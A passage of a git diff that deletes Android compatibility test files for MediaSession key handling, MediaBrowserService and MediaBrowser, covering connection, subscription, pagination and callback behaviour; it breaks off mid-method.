-    public void testVolumeKey_afterSessionReleased() throws Exception {
-        if (mUseFixedVolume) {
-            return;
-        }
-
-        mSession.release();
-
-        // The key event can be ignored and show volume panel instead. Use polling.
-        boolean downKeySuccess = pollingCheck(() -> {
-            sendKeyEvent(KeyEvent.KEYCODE_VOLUME_DOWN);
-            return checkAnyStreamVolumeChanged();
-        });
-        if (downKeySuccess) {
-            // Volume down key has changed a stream volume. Test success.
-            return;
-        }
-
-        // Volume may not have been changed because the target stream's volume level was minimum.
-        // Try again with the up key.
-        assertTrue(pollingCheck(() -> {
-            sendKeyEvent(KeyEvent.KEYCODE_VOLUME_UP);
-            return checkAnyStreamVolumeChanged();
-        }));
-    }
-
-    @Test
-    public void testMediaKey_whileSessionAlive() throws Exception {
-        int testKeyEvent = KeyEvent.KEYCODE_MEDIA_PLAY;
-
-        // Note: No extra setup for the session is needed after Activity#setMediaController().
-        // i.e. No playback nor activeness is required.
-        CountDownLatch latch = new CountDownLatch(2);
-        mSession.setCallback(new MediaSession.Callback() {
-            @Override
-            public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
-                KeyEvent event = mediaButtonIntent.getParcelableExtra(Intent.EXTRA_KEY_EVENT);
-                assertEquals(testKeyEvent, event.getKeyCode());
-                latch.countDown();
-                return true;
-            }
-        }, new Handler(Looper.getMainLooper()));
-
-        sendKeyEvent(testKeyEvent);
-
-        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-    }
-
-    @Test
-    public void testMediaKey_whileSessionReleased() throws Exception {
-        int testKeyEvent = KeyEvent.KEYCODE_MEDIA_PLAY;
-
-        CountDownLatch latch = new CountDownLatch(1);
-        mSession.setCallback(new MediaSession.Callback() {
-            @Override
-            public boolean onMediaButtonEvent(Intent mediaButtonIntent) {
-                fail("Released session shouldn't be able to receive key event in any case");
-                latch.countDown();
-                return true;
-            }
-        }, new Handler(Looper.getMainLooper()));
-        mSession.release();
-
-        sendKeyEvent(testKeyEvent);
-
-        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
-    }
-
-    private void sendKeyEvent(int keyCode) {
-        final long downTime = SystemClock.uptimeMillis();
-        final KeyEvent down = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCode, 0);
-        final long upTime = SystemClock.uptimeMillis();
-        final KeyEvent up = new KeyEvent(downTime, upTime, KeyEvent.ACTION_UP, keyCode, 0);
-        try {
-            mInstrumentation.sendKeySync(down);
-            mInstrumentation.sendKeySync(up);
-        } catch (SecurityException e) {
-            throw new IllegalStateException(
-                "MediaSessionTestActivity isn't in the foreground."
-                        + " Ensure no screen lock before running CTS test"
-                        + ", and do not touch screen while the test is running.");
-        }
-    }
-
-    private boolean checkAnyStreamVolumeChanged() {
-        for (int stream : mStreamVolumeMap.keySet()) {
-            int volume = mStreamVolumeMap.get(stream);
-            if (mAudioManager.getStreamVolume(stream) != volume) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    private static boolean pollingCheck(Callable<Boolean> condition) throws Exception {
-        long pollingCount = WAIT_TIME_MS / TIME_SLICE;
-        while (!condition.call() && pollingCount-- > 0) {
-            try {
-                Thread.sleep(TIME_SLICE);
-            } catch (InterruptedException e) {
-                fail("unexpected InterruptedException");
-            }
-        }
-        return pollingCount >= 0;
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
deleted file mode 100644
index 0e23ebf..0000000
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ /dev/null
@@ -1,332 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static android.media.browse.MediaBrowser.MediaItem.FLAG_PLAYABLE;
-import static android.media.cts.MediaBrowserServiceTestService.KEY_PARENT_MEDIA_ID;
-import static android.media.cts.MediaBrowserServiceTestService.KEY_SERVICE_COMPONENT_NAME;
-import static android.media.cts.MediaBrowserServiceTestService.TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED;
-import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
-import static android.media.cts.MediaSessionTestService.STEP_CHECK;
-import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
-import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
-import static android.media.cts.Utils.compareRemoteUserInfo;
-
-import android.content.ComponentName;
-import android.media.MediaDescription;
-import android.media.browse.MediaBrowser;
-import android.media.browse.MediaBrowser.MediaItem;
-import android.media.session.MediaSessionManager.RemoteUserInfo;
-import android.os.Bundle;
-import android.os.Process;
-import android.service.media.MediaBrowserService;
-import android.service.media.MediaBrowserService.BrowserRoot;
-import android.test.InstrumentationTestCase;
-
-import androidx.test.core.app.ApplicationProvider;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test {@link android.service.media.MediaBrowserService}.
- */
-@NonMediaMainlineTest
-public class MediaBrowserServiceTest extends InstrumentationTestCase {
-    // The maximum time to wait for an operation.
-    private static final long TIME_OUT_MS = 3000L;
-    private static final long WAIT_TIME_FOR_NO_RESPONSE_MS = 500L;
-    private static final ComponentName TEST_BROWSER_SERVICE = new ComponentName(
-            "android.media.cts", "android.media.cts.StubMediaBrowserService");
-    private final Object mWaitLock = new Object();
-
-    private final MediaBrowser.ConnectionCallback mConnectionCallback =
-            new MediaBrowser.ConnectionCallback() {
-        @Override
-        public void onConnected() {
-            synchronized (mWaitLock) {
-                mMediaBrowserService = StubMediaBrowserService.sInstance;
-                mWaitLock.notify();
-            }
-        }
-    };
-
-    private final MediaBrowser.SubscriptionCallback mSubscriptionCallback =
-            new MediaBrowser.SubscriptionCallback() {
-            @Override
-            public void onChildrenLoaded(String parentId, List<MediaItem> children) {
-                synchronized (mWaitLock) {
-                    mOnChildrenLoaded = true;
-                    if (children != null) {
-                        for (MediaItem item : children) {
-                            assertRootHints(item);
-                        }
-                    }
-                    mWaitLock.notify();
-                }
-            }
-
-            @Override
-            public void onChildrenLoaded(String parentId, List<MediaItem> children,
-                    Bundle options) {
-                synchronized (mWaitLock) {
-                    mOnChildrenLoadedWithOptions = true;
-                    if (children != null) {
-                        for (MediaItem item : children) {
-                            assertRootHints(item);
-                        }
-                    }
-                    mWaitLock.notify();
-                }
-            }
-        };
-
-    private final MediaBrowser.ItemCallback mItemCallback = new MediaBrowser.ItemCallback() {
-        @Override
-        public void onItemLoaded(MediaItem item) {
-            synchronized (mWaitLock) {
-                mOnItemLoaded = true;
-                assertRootHints(item);
-                mWaitLock.notify();
-            }
-        }
-    };
-
-    private MediaBrowser mMediaBrowser;
-    private RemoteUserInfo mBrowserInfo;
-    private StubMediaBrowserService mMediaBrowserService;
-    private boolean mOnChildrenLoaded;
-    private boolean mOnChildrenLoadedWithOptions;
-    private boolean mOnItemLoaded;
-    private Bundle mRootHints;
-
-    @Override
-    public void setUp() throws Exception {
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                mRootHints = new Bundle();
-                mRootHints.putBoolean(MediaBrowserService.BrowserRoot.EXTRA_RECENT, true);
-                mRootHints.putBoolean(MediaBrowserService.BrowserRoot.EXTRA_OFFLINE, true);
-                mRootHints.putBoolean(MediaBrowserService.BrowserRoot.EXTRA_SUGGESTED, true);
-                mMediaBrowser = new MediaBrowser(getInstrumentation().getTargetContext(),
-                        TEST_BROWSER_SERVICE, mConnectionCallback, mRootHints);
-                mBrowserInfo = new RemoteUserInfo(
-                        getInstrumentation().getTargetContext().getPackageName(),
-                        Process.myPid(),
-                        Process.myUid());
-            }
-        });
-        synchronized (mWaitLock) {
-            mMediaBrowser.connect();
-            mWaitLock.wait(TIME_OUT_MS);
-        }
-        assertNotNull(mMediaBrowserService);
-    }
-
-    @Override
-    public void tearDown() {
-        if (mMediaBrowser != null) {
-            mMediaBrowser.disconnect();
-            mMediaBrowser = null;
-        }
-    }
-
-    public void testGetSessionToken() {
-        assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
-                mMediaBrowserService.getSessionToken());
-    }
-
-    public void testNotifyChildrenChanged() throws Exception {
-        synchronized (mWaitLock) {
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoaded);
-
-            mOnChildrenLoaded = false;
-            mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoaded);
-        }
-    }
-
-    public void testNotifyChildrenChangedWithNullOptionsThrowsIAE() {
-        try {
-            mMediaBrowserService.notifyChildrenChanged(
-                    StubMediaBrowserService.MEDIA_ID_ROOT, /*options=*/ null);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    public void testNotifyChildrenChangedWithPagination() throws Exception {
-        synchronized (mWaitLock) {
-            final int pageSize = 5;
-            final int page = 2;
-            Bundle options = new Bundle();
-            options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-            options.putInt(MediaBrowser.EXTRA_PAGE, page);
-
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options,
-                    mSubscriptionCallback);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoadedWithOptions);
-
-            mOnChildrenLoadedWithOptions = false;
-            mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoadedWithOptions);
-
-            // Notify that the items overlapping with the given options are changed.
-            mOnChildrenLoadedWithOptions = false;
-            final int newPageSize = 3;
-            final int overlappingNewPage = pageSize * page / newPageSize;
-            Bundle overlappingOptions = new Bundle();
-            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, newPageSize);
-            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, overlappingNewPage);
-            mMediaBrowserService.notifyChildrenChanged(
-                    StubMediaBrowserService.MEDIA_ID_ROOT, overlappingOptions);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoadedWithOptions);
-
-            // Notify that the items non-overlapping with the given options are changed.
-            mOnChildrenLoadedWithOptions = false;
-            Bundle nonOverlappingOptions = new Bundle();
-            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, page + 1);
-            mMediaBrowserService.notifyChildrenChanged(
-                    StubMediaBrowserService.MEDIA_ID_ROOT, nonOverlappingOptions);
-            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
-            assertFalse(mOnChildrenLoadedWithOptions);
-        }
-    }
-
-    public void testDelayedNotifyChildrenChanged() throws Exception {
-        synchronized (mWaitLock) {
-            mOnChildrenLoaded = false;
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED,
-                    mSubscriptionCallback);
-            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
-            assertFalse(mOnChildrenLoaded);
-
-            mMediaBrowserService.sendDelayedNotifyChildrenChanged();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoaded);
-
-            mOnChildrenLoaded = false;
-            mMediaBrowserService.notifyChildrenChanged(
-                    StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED);
-            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
-            assertFalse(mOnChildrenLoaded);
-
-            mMediaBrowserService.sendDelayedNotifyChildrenChanged();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoaded);
-        }
-    }
-
-    public void testDelayedItem() throws Exception {
-        synchronized (mWaitLock) {
-            mOnItemLoaded = false;
-            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN_DELAYED,
-                    mItemCallback);
-            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
-            assertFalse(mOnItemLoaded);
-
-            mMediaBrowserService.sendDelayedItemLoaded();
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnItemLoaded);
-        }
-    }
-
-    public void testGetBrowserInfo() throws Exception {
-        synchronized (mWaitLock) {
-            // StubMediaBrowserService stores the browser info in its onGetRoot().
-            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
-
-            StubMediaBrowserService.clearBrowserInfo();
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnChildrenLoaded);
-            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
-
-            StubMediaBrowserService.clearBrowserInfo();
-            mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
-            mWaitLock.wait(TIME_OUT_MS);
-            assertTrue(mOnItemLoaded);
-            assertTrue(compareRemoteUserInfo(mBrowserInfo, StubMediaBrowserService.sBrowserInfo));
-        }
-    }
-
-    public void testBrowserRoot() {
-        final String id = "test-id";
-        final String key = "test-key";
-        final String val = "test-val";
-        final Bundle extras = new Bundle();
-        extras.putString(key, val);
-
-        MediaBrowserService.BrowserRoot browserRoot = new BrowserRoot(id, extras);
-        assertEquals(id, browserRoot.getRootId());
-        assertEquals(val, browserRoot.getExtras().getString(key));
-    }
-
-    /**
-     * Check that a series of {@link MediaBrowserService#notifyChildrenChanged} does not break
-     * {@link MediaBrowser} on the remote process due to binder buffer overflow.
-     */
-    public void testSeriesOfNotifyChildrenChanged() throws Exception {
-        String parentMediaId = "testSeriesOfNotifyChildrenChanged";
-        int numberOfCalls = 100;
-        int childrenSize = 1_000;
-        List<MediaItem> children = new ArrayList<>();
-        for (int id = 0; id < childrenSize; id++) {
-            MediaDescription description = new MediaDescription.Builder()
-                    .setMediaId(Integer.toString(id)).build();
-            children.add(new MediaItem(description, FLAG_PLAYABLE));
-        }
-        mMediaBrowserService.putChildrenToMap(parentMediaId, children);
-
-        try (RemoteService.Invoker invoker = new RemoteService.Invoker(
-                ApplicationProvider.getApplicationContext(),
-                MediaBrowserServiceTestService.class,
-                TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED)) {
-            Bundle args = new Bundle();
-            args.putParcelable(KEY_SERVICE_COMPONENT_NAME, TEST_BROWSER_SERVICE);
-            args.putString(KEY_PARENT_MEDIA_ID, parentMediaId);
-            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * childrenSize);
-            invoker.run(STEP_SET_UP, args);
-            for (int i = 0; i < numberOfCalls; i++) {
-                mMediaBrowserService.notifyChildrenChanged(parentMediaId);
-            }
-            invoker.run(STEP_CHECK);
-            invoker.run(STEP_CLEAN_UP);
-        }
-
-        mMediaBrowserService.removeChildrenFromMap(parentMediaId);
-    }
-
-    private void assertRootHints(MediaItem item) {
-        Bundle rootHints = item.getDescription().getExtras();
-        assertNotNull(rootHints);
-        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_RECENT),
-                rootHints.getBoolean(BrowserRoot.EXTRA_RECENT));
-        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_OFFLINE),
-                rootHints.getBoolean(BrowserRoot.EXTRA_OFFLINE));
-        assertEquals(mRootHints.getBoolean(BrowserRoot.EXTRA_SUGGESTED),
-                rootHints.getBoolean(BrowserRoot.EXTRA_SUGGESTED));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
deleted file mode 100644
index 0db43d9..0000000
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.junit.Assert.assertTrue;
-
-import static java.util.concurrent.TimeUnit.MILLISECONDS;
-
-import android.annotation.Nullable;
-import android.content.ComponentName;
-import android.media.browse.MediaBrowser;
-import android.media.browse.MediaBrowser.MediaItem;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.Looper;
-
-import java.util.List;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.atomic.AtomicInteger;
-
-public class MediaBrowserServiceTestService extends RemoteService {
-    public static final int TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED = 0;
-
-    public static final int STEP_SET_UP = 0;
-    public static final int STEP_CHECK = 1;
-    public static final int STEP_CLEAN_UP = 2;
-
-    public static final String KEY_SERVICE_COMPONENT_NAME = "serviceComponentName";
-    public static final String KEY_PARENT_MEDIA_ID = "parentMediaId";
-    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
-
-    private final Handler mMainHandler = new Handler(Looper.getMainLooper());
-    private MediaBrowser mMediaBrowser;
-    private CountDownLatch mAllItemsNotified;
-
-    private void testSeriesOfNotifyChildrenChanged_setUp(Bundle args) throws Exception {
-        ComponentName componentName = args.getParcelable(KEY_SERVICE_COMPONENT_NAME);
-        String parentMediaId = args.getString(KEY_PARENT_MEDIA_ID);
-        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
-
-        mAllItemsNotified = new CountDownLatch(1);
-        AtomicInteger numberOfItems = new AtomicInteger();
-        CountDownLatch subscribed = new CountDownLatch(1);
-        MediaBrowser.ConnectionCallback connectionCallback = new MediaBrowser.ConnectionCallback();
-        MediaBrowser.SubscriptionCallback subscriptionCallback =
-                new MediaBrowser.SubscriptionCallback() {
-                    @Override
-                    public void onChildrenLoaded(String parentId, List<MediaItem> children) {
-                        if (parentMediaId.equals(parentId) && children != null) {
-                            if (subscribed.getCount() > 0) {
-                                subscribed.countDown();
-                                return;
-                            }
-                            if (numberOfItems.addAndGet(children.size())
-                                    >= expectedTotalNumberOfItems) {
-                                mAllItemsNotified.countDown();
-                            }
-                        }
-                    }
-                };
-        mMainHandler.post(() -> {
-            mMediaBrowser = new MediaBrowser(this, componentName, connectionCallback, null);
-            mMediaBrowser.connect();
-            mMediaBrowser.subscribe(parentMediaId, subscriptionCallback);
-        });
-        assertTrue(subscribed.await(TIMEOUT_MS, MILLISECONDS));
-    }
-
-    private void testSeriesOfNotifyChildrenChanged_check() throws Exception {
-        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
-    }
-
-    private void testSeriesOfNotifyChildrenChanged_cleanUp() {
-        mMainHandler.post(() -> {
-            mMediaBrowser.disconnect();
-            mMediaBrowser = null;
-        });
-        mAllItemsNotified = null;
-    }
-
-    @Override
-    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
-        if (testId == TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED) {
-            if (step == STEP_SET_UP) {
-                testSeriesOfNotifyChildrenChanged_setUp(args);
-            } else if (step == STEP_CHECK) {
-                testSeriesOfNotifyChildrenChanged_check();
-            } else if (step == STEP_CLEAN_UP) {
-                testSeriesOfNotifyChildrenChanged_cleanUp();
-            } else {
-                throw new IllegalArgumentException("Unknown step=" + step);
-            }
-        } else {
-            throw new IllegalArgumentException("Unknown testId=" + testId);
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
deleted file mode 100644
index fc832fb..0000000
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ /dev/null
@@ -1,733 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.ComponentName;
-import android.media.browse.MediaBrowser;
-import android.media.browse.MediaBrowser.MediaItem;
-import android.os.Bundle;
-import android.test.InstrumentationTestCase;
-
-import com.android.compatibility.common.util.PollingCheck;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Test {@link android.media.browse.MediaBrowser}.
- */
-@NonMediaMainlineTest
-public class MediaBrowserTest extends InstrumentationTestCase {
-    // The maximum time to wait for an operation.
-    private static final long TIME_OUT_MS = 3000L;
-
-    /**
-     * To check {@link MediaBrowser#unsubscribe} works properly,
-     * we notify to the browser after the unsubscription that the media items have changed.
-     * Then {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} should not be called.
-     *
-     * The measured time from calling {@link StubMediaBrowserService#notifyChildrenChanged}
-     * to {@link MediaBrowser.SubscriptionCallback#onChildrenLoaded} being called is about 50ms.
-     * So we make the thread sleep for 100ms to properly check that the callback is not called.
-     */
-    private static final long SLEEP_MS = 100L;
-    private static final ComponentName TEST_BROWSER_SERVICE = new ComponentName(
-            "android.media.cts", "android.media.cts.StubMediaBrowserService");
-    private static final ComponentName TEST_INVALID_BROWSER_SERVICE = new ComponentName(
-            "invalid.package", "invalid.ServiceClassName");
-    private final StubConnectionCallback mConnectionCallback = new StubConnectionCallback();
-    private final StubSubscriptionCallback mSubscriptionCallback = new StubSubscriptionCallback();
-    private final StubItemCallback mItemCallback = new StubItemCallback();
-
-    private MediaBrowser mMediaBrowser;
-
-    @Override
-    public void tearDown() {
-        if (mMediaBrowser != null) {
-            mMediaBrowser.disconnect();
-            mMediaBrowser = null;
-        }
-    }
-
-    public void testMediaBrowser() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        assertEquals(false, mMediaBrowser.isConnected());
-
-        connectMediaBrowserService();
-        assertEquals(true, mMediaBrowser.isConnected());
-
-        assertEquals(TEST_BROWSER_SERVICE, mMediaBrowser.getServiceComponent());
-        assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT, mMediaBrowser.getRoot());
-        assertEquals(StubMediaBrowserService.EXTRAS_VALUE,
-                mMediaBrowser.getExtras().getString(StubMediaBrowserService.EXTRAS_KEY));
-        assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
-                mMediaBrowser.getSessionToken());
-
-        mMediaBrowser.disconnect();
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return !mMediaBrowser.isConnected();
-            }
-        }.run();
-    }
-
-    public void testThrowingISEWhileNotConnected() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        assertEquals(false, mMediaBrowser.isConnected());
-
-        try {
-            mMediaBrowser.getExtras();
-            fail();
-        } catch (IllegalStateException e) {
-            // Expected
-        }
-
-        try {
-            mMediaBrowser.getRoot();
-            fail();
-        } catch (IllegalStateException e) {
-            // Expected
-        }
-
-        try {
-            mMediaBrowser.getServiceComponent();
-            fail();
-        } catch (IllegalStateException e) {
-            // Expected
-        }
-
-        try {
-            mMediaBrowser.getSessionToken();
-            fail();
-        } catch (IllegalStateException e) {
-            // Expected
-        }
-    }
-
-    public void testConnectTwice() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        try {
-            mMediaBrowser.connect();
-            fail();
-        } catch (IllegalStateException e) {
-            // expected
-        }
-    }
-
-    public void testConnectionFailed() {
-        resetCallbacks();
-        createMediaBrowser(TEST_INVALID_BROWSER_SERVICE);
-
-        mMediaBrowser.connect();
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mConnectionCallback.mConnectionFailedCount > 0
-                        && mConnectionCallback.mConnectedCount == 0
-                        && mConnectionCallback.mConnectionSuspendedCount == 0;
-            }
-        }.run();
-    }
-
-    public void testReconnection() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-
-        // Reconnect before the first connection was established.
-        mMediaBrowser.connect();
-        mMediaBrowser.disconnect();
-        resetCallbacks();
-        connectMediaBrowserService();
-
-        // Test subscribe.
-        resetCallbacks();
-        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mSubscriptionCallback.mChildrenLoadedCount > 0;
-            }
-        }.run();
-
-        // Test getItem.
-        resetCallbacks();
-        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mItemCallback.mLastMediaItem != null;
-            }
-        }.run();
-
-        // Reconnect after connection was established.
-        mMediaBrowser.disconnect();
-        resetCallbacks();
-        connectMediaBrowserService();
-
-        // Test getItem.
-        resetCallbacks();
-        mMediaBrowser.getItem(StubMediaBrowserService.MEDIA_ID_CHILDREN[0], mItemCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mItemCallback.mLastMediaItem != null;
-            }
-        }.run();
-    }
-
-    public void testConnectionCallbackNotCalledAfterDisconnect() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        mMediaBrowser.connect();
-        mMediaBrowser.disconnect();
-        resetCallbacks();
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-        assertEquals(0, mConnectionCallback.mConnectedCount);
-        assertEquals(0, mConnectionCallback.mConnectionFailedCount);
-        assertEquals(0, mConnectionCallback.mConnectionSuspendedCount);
-    }
-
-    public void testSubscribe() {
-        resetCallbacks();
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback);
-        new PollingCheck(TIME_OUT_MS) {
-            @Override
-            protected boolean check() {
-                return mSubscriptionCallback.mChildrenLoadedCount > 0;
-            }
-        }.run();
-
-        assertEquals(StubMediaBrowserService.MEDIA_ID_ROOT, mSubscriptionCallback.mLastParentId);
-        assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN.length,
-                mSubscriptionCallback.mLastChildMediaItems.size());
-        for (int i = 0; i < StubMediaBrowserService.MEDIA_ID_CHILDREN.length; ++i) {
-            assertEquals(StubMediaBrowserService.MEDIA_ID_CHILDREN[i],
-                    mSubscriptionCallback.mLastChildMediaItems.get(i).getMediaId());
-        }
-
-        // Test unsubscribe.
-        resetCallbacks();
-        mMediaBrowser.unsubscribe(StubMediaBrowserService.MEDIA_ID_ROOT);
-
-        // After unsubscribing, make StubMediaBrowserService notify that the children are changed.
-        StubMediaBrowserService.sInstance.notifyChildrenChanged(
-                StubMediaBrowserService.MEDIA_ID_ROOT);
-        try {
-            Thread.sleep(SLEEP_MS);
-        } catch (InterruptedException e) {
-            fail("Unexpected InterruptedException occurred.");
-        }
-        // onChildrenLoaded should not be called.
-        assertEquals(0, mSubscriptionCallback.mChildrenLoadedCount);
-    }
-
-    public void testSubscribeWithIllegalArguments() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-
-        try {
-            final String nullMediaId = null;
-            mMediaBrowser.subscribe(nullMediaId, mSubscriptionCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            final String emptyMediaId = "";
-            mMediaBrowser.subscribe(emptyMediaId, mSubscriptionCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            final MediaBrowser.SubscriptionCallback nullCallback = null;
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-
-        try {
-            final Bundle nullOptions = null;
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, nullOptions,
-                    mSubscriptionCallback);
-            fail();
-        } catch (IllegalArgumentException e) {
-            // Expected
-        }
-    }
-
-    public void testSubscribeWithOptions() {
-        createMediaBrowser(TEST_BROWSER_SERVICE);
-        connectMediaBrowserService();
-        final int pageSize = 3;
-        final int lastPage = (StubMediaBrowserService.MEDIA_ID_CHILDREN.length - 1) / pageSize;
-        Bundle options = new Bundle();
-        options.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
-        for (int page = 0; page <= lastPage; ++page) {
-            resetCallbacks();
-            options.putInt(MediaBrowser.EXTRA_PAGE, page);
-            mMediaBrowser.subscribe(StubMediaBrowserService.MEDIA_ID_ROOT, options,
-                    mSubscriptionCallback);
-            new PollingCheck(TIME_OUT_MS) {
-                @Override
